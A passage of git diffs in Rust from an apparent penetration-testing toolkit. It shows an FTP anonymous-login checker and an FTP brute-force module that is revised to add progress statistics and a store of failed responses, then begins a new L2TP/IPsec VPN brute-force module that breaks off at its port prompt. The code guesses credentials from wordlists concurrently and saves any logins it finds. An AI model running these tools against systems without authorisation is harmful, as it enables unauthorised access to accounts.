|| filename_component.contains('\\')
|
||||
{
|
||||
"fortinet_results.txt"
|
||||
} else {
|
||||
filename_component.as_ref()
|
||||
};
|
||||
|
||||
PathBuf::from(format!("./{}", final_name))
|
||||
}
|
||||
@@ -1,8 +1,19 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 5;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Anonymous Login Checker ║".cyan());
|
||||
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
@@ -25,6 +36,8 @@ fn format_addr(target: &str, port: u16) -> String {
|
||||
|
||||
/// Anonymous FTP/FTPS login test with IPv6 support
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let addr = format_addr(target, 21);
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
@@ -32,32 +45,36 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.next()
|
||||
.unwrap_or(target);
|
||||
|
||||
println!("[*] Connecting to FTP service on {}...", addr);
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", format!("[*] Connecting to FTP service on {}...", addr).cyan());
|
||||
println!();
|
||||
|
||||
// 1️⃣ Try plain FTP first
|
||||
match timeout(Duration::from_secs(5), AsyncFtpStream::connect(&addr)).await {
|
||||
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(&addr)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
let result = ftp.login("anonymous", "anonymous").await;
|
||||
if let Ok(_) = result {
|
||||
println!("[+] Anonymous login successful (FTP)");
|
||||
if result.is_ok() {
|
||||
println!("{}", "[+] Anonymous login successful (FTP)".green().bold());
|
||||
let _ = ftp.quit().await;
|
||||
return Ok(());
|
||||
} else if let Err(e) = result {
|
||||
if e.to_string().contains("530") {
|
||||
println!("[-] Anonymous login rejected (FTP)");
|
||||
println!("{}", "[-] Anonymous login rejected (FTP)".yellow());
|
||||
return Ok(());
|
||||
} else if e.to_string().contains("550 SSL") {
|
||||
println!("[*] FTP server requires TLS — upgrading to FTPS...");
|
||||
println!("{}", "[*] FTP server requires TLS — upgrading to FTPS...".cyan());
|
||||
} else {
|
||||
return Err(anyhow!("FTP error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => println!("[!] FTP connection error: {}", e),
|
||||
Err(_) => println!("[-] FTP connection timed out"),
|
||||
Ok(Err(e)) => println!("{}", format!("[!] FTP connection error: {}", e).red()),
|
||||
Err(_) => println!("{}", "[-] FTP connection timed out".yellow()),
|
||||
}
|
||||
|
||||
// 2️⃣ Fallback to FTPS
|
||||
println!("{}", "[*] Attempting FTPS connection...".cyan());
|
||||
|
||||
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
|
||||
@@ -75,11 +92,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
match ftps.login("anonymous", "anonymous").await {
|
||||
Ok(_) => {
|
||||
println!("[+] Anonymous login successful (FTPS)");
|
||||
println!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
|
||||
let _ = ftps.quit().await;
|
||||
}
|
||||
Err(e) if e.to_string().contains("530") => {
|
||||
println!("[-] Anonymous login rejected (FTPS)");
|
||||
println!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
|
||||
}
|
||||
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
|
||||
}
|
||||
|
||||
@@ -1,51 +1,98 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use suppaftp::{
|
||||
AsyncFtpStream,
|
||||
AsyncNativeTlsFtpStream,
|
||||
AsyncNativeTlsConnector,
|
||||
};
|
||||
use suppaftp::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::PathBuf,
|
||||
sync::Arc, // Keep Arc
|
||||
};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore}, // Import Semaphore
|
||||
time::{sleep, Duration}
|
||||
sync::Arc,
|
||||
time::Instant,
|
||||
};
|
||||
use std::path::Path;
|
||||
use sysinfo::System;
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use tokio::{sync::{Mutex, Semaphore}, time::{sleep, Duration}};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
async fn dynamic_throttle(running: usize, max_concurrency: usize) {
|
||||
let mut system = System::new_all();
|
||||
system.refresh_all();
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
let cpu_count = system.cpus().len();
|
||||
let cpu_usage = if cpu_count > 0 {
|
||||
system.cpus().iter().map(|cpu| cpu.cpu_usage()).sum::<f32>() / cpu_count as f32
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
let total_memory = system.total_memory();
|
||||
let ram_used = if total_memory > 0 {
|
||||
system.used_memory() as f32 / total_memory as f32
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
// Statistics tracking for progress reporting
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
if cpu_usage > 80.0 || ram_used > 0.8 {
|
||||
sleep(Duration::from_millis(50)).await;
|
||||
} else if cpu_usage > 60.0 || ram_used > 0.6 {
|
||||
sleep(Duration::from_millis(25)).await;
|
||||
} else if running > max_concurrency { // This condition is now less critical for preventing "too many open files"
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
} else {
|
||||
sleep(Duration::from_millis(1)).await;
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
@@ -69,8 +116,8 @@ fn format_addr(target: &str, port: u16) -> String {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== FTP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("FTP Port", "21")?;
|
||||
@@ -102,7 +149,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
let addr = format_addr(target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
@@ -111,110 +160,199 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} usernames", users.len()).cyan());
|
||||
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if passes.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} passwords", passes.len()).cyan());
|
||||
|
||||
let total_attempts = if combo_mode { users.len() * passes.len() } else { passes.len() };
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
if combo_mode {
|
||||
for user in &users {
|
||||
if *stop.lock().await && stop_on_success { break; }
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
for pass in &passes {
|
||||
if *stop.lock().await && stop_on_success { break; }
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let unknown_clone = Arc::clone(&unknown);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore for the task
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
// Acquire a permit. This will block if `concurrency` limit is reached.
|
||||
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
|
||||
|
||||
// Proceed with the task logic only after a permit is acquired
|
||||
if *stop_clone.lock().await && stop_on_success { return; }
|
||||
match try_ftp_login(&addr_clone, &user_clone, &pass_clone).await {
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
match try_ftp_login(&addr_clone, &user_clone, &pass_clone, verbose_flag).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green().bold());
|
||||
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
if stop_on_success {
|
||||
*stop_clone.lock().await = true;
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
stats_clone.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
{
|
||||
let mut unk = unknown_clone.lock().await;
|
||||
unk.push((
|
||||
addr_clone.clone(),
|
||||
user_clone.clone(),
|
||||
pass_clone.clone(),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {} -> {}:{} error/unknown: {}",
|
||||
addr_clone, user_clone, pass_clone, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
// Permit is automatically released when `_permit` goes out of scope here
|
||||
drop(permit);
|
||||
}));
|
||||
}
|
||||
}
|
||||
} else { // Line-by-line mode
|
||||
if !users.is_empty() || passes.is_empty() {
|
||||
} else {
|
||||
if !users.is_empty() {
|
||||
for (i, pass) in passes.iter().enumerate() {
|
||||
if *stop.lock().await && stop_on_success { break; }
|
||||
let user = if users.is_empty() { continue; } else {
|
||||
users.get(i % users.len()).expect("User list modulus logic error").clone()
|
||||
};
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let unknown_clone = Arc::clone(&unknown);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
// Acquire a permit
|
||||
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
|
||||
|
||||
if *stop_clone.lock().await && stop_on_success { return; }
|
||||
match try_ftp_login(&addr_clone, &user, &pass_clone).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
match try_ftp_login(&addr_clone, &user, &pass_clone, verbose_flag).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user, pass_clone).green().bold());
|
||||
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
if stop_on_success {
|
||||
*stop_clone.lock().await = true;
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user, pass_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
stats_clone.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
{
|
||||
let mut unk = unknown_clone.lock().await;
|
||||
unk.push((
|
||||
addr_clone.clone(),
|
||||
user.clone(),
|
||||
pass_clone.clone(),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {} -> {}:{} error/unknown: {}",
|
||||
addr_clone, user, pass_clone, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
// Permit released
|
||||
drop(permit);
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let mut processed_tasks_count = 0;
|
||||
while let Some(res) = tasks.next().await {
|
||||
dynamic_throttle(processed_tasks_count, concurrency).await; // Still useful for CPU/RAM based throttling
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
processed_tasks_count += 1;
|
||||
// (stop logic can remain)
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final();
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("\n[+] Valid credentials:");
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
println!(" {} {} -> {}:{}", "✓".green(), host, user, pass);
|
||||
}
|
||||
if let Some(path) = save_path {
|
||||
let file_path = get_filename_in_current_dir(&path);
|
||||
@@ -234,11 +372,57 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
drop(creds);
|
||||
|
||||
// Unknown / errored attempts
|
||||
let unknown_guard = unknown.lock().await;
|
||||
if !unknown_guard.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored FTP responses.",
|
||||
unknown_guard.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if prompt_yes_no("Save unknown responses to file?", true)? {
|
||||
let default_name = "ftp_unknown_responses.txt";
|
||||
let fname = prompt_default(
|
||||
&format!(
|
||||
"What should the unknown results be saved as? (default: {})",
|
||||
default_name
|
||||
),
|
||||
default_name,
|
||||
)?;
|
||||
let file_path = get_filename_in_current_dir(&fname);
|
||||
match File::create(&file_path) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# FTP Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in unknown_guard.iter() {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
println!("[+] Unknown responses saved to '{}'", file_path.display());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!(
|
||||
"[!] Could not create or write unknown response file '{}': {}",
|
||||
file_path.display(),
|
||||
e
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
// (try_ftp_login function remains unchanged from your last working version)
|
||||
async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
|
||||
// Attempt 1: Plain FTP
|
||||
match AsyncFtpStream::connect(addr).await {
|
||||
Ok(mut ftp) => {
|
||||
@@ -252,14 +436,15 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
if msg.contains("530") {
|
||||
return Ok(false);
|
||||
} else if msg.contains("550 SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
|
||||
log(true, &format!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr));
|
||||
println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr);
|
||||
} else if msg.contains("421") {
|
||||
println!("[-] {} - Server reported too many connections (421). Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
} else {
|
||||
// Log network errors if verbose, otherwise they might be too noisy
|
||||
log(true, &format!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
|
||||
if verbose {
|
||||
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
return Err(anyhow!("FTP login error: {}", msg));
|
||||
}
|
||||
}
|
||||
@@ -268,25 +453,30 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
|
||||
log(true, &format!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr));
|
||||
println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr);
|
||||
} else if msg.contains("421") {
|
||||
println!("[-] {} - Server reported too many connections during connect (421). Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
} else {
|
||||
// Log network errors if verbose
|
||||
log(true, &format!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
|
||||
if verbose {
|
||||
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
return Err(anyhow!("FTP connection error: {}", msg));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 2️⃣ Only if needed, try FTPS
|
||||
log(true, &format!("[i] {} Attempting FTPS login for user '{}'", addr, user));
|
||||
if verbose {
|
||||
println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
|
||||
}
|
||||
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
log(true, &format!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
|
||||
if verbose {
|
||||
println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
|
||||
}
|
||||
anyhow!("FTPS base connect failed: {}", e)
|
||||
})?;
|
||||
|
||||
@@ -306,7 +496,9 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
.into_secure(connector, domain)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
log(true, &format!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
|
||||
if verbose {
|
||||
println!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
|
||||
}
|
||||
anyhow!("TLS upgrade failed: {}", e)
|
||||
})?;
|
||||
|
||||
@@ -320,7 +512,9 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
if msg.contains("530") {
|
||||
Ok(false)
|
||||
} else {
|
||||
log(true, &format!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
|
||||
if verbose {
|
||||
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
Err(anyhow!("FTPS error: {}", msg))
|
||||
}
|
||||
}
|
||||
@@ -384,12 +578,6 @@ fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
Path::new(input)
|
||||
.file_name()
|
||||
|
||||
@@ -0,0 +1,797 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use regex::Regex;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
time::Instant,
|
||||
};
|
||||
use tokio::{
|
||||
process::Command,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, Duration, timeout},
|
||||
};
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ L2TP/IPsec VPN Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Requires strongswan, xl2tpd, or pppd ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("L2TP/IPsec Port (IKE)", "500")?;
|
||||
match input.trim().parse::<u16>() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
|
||||
}
|
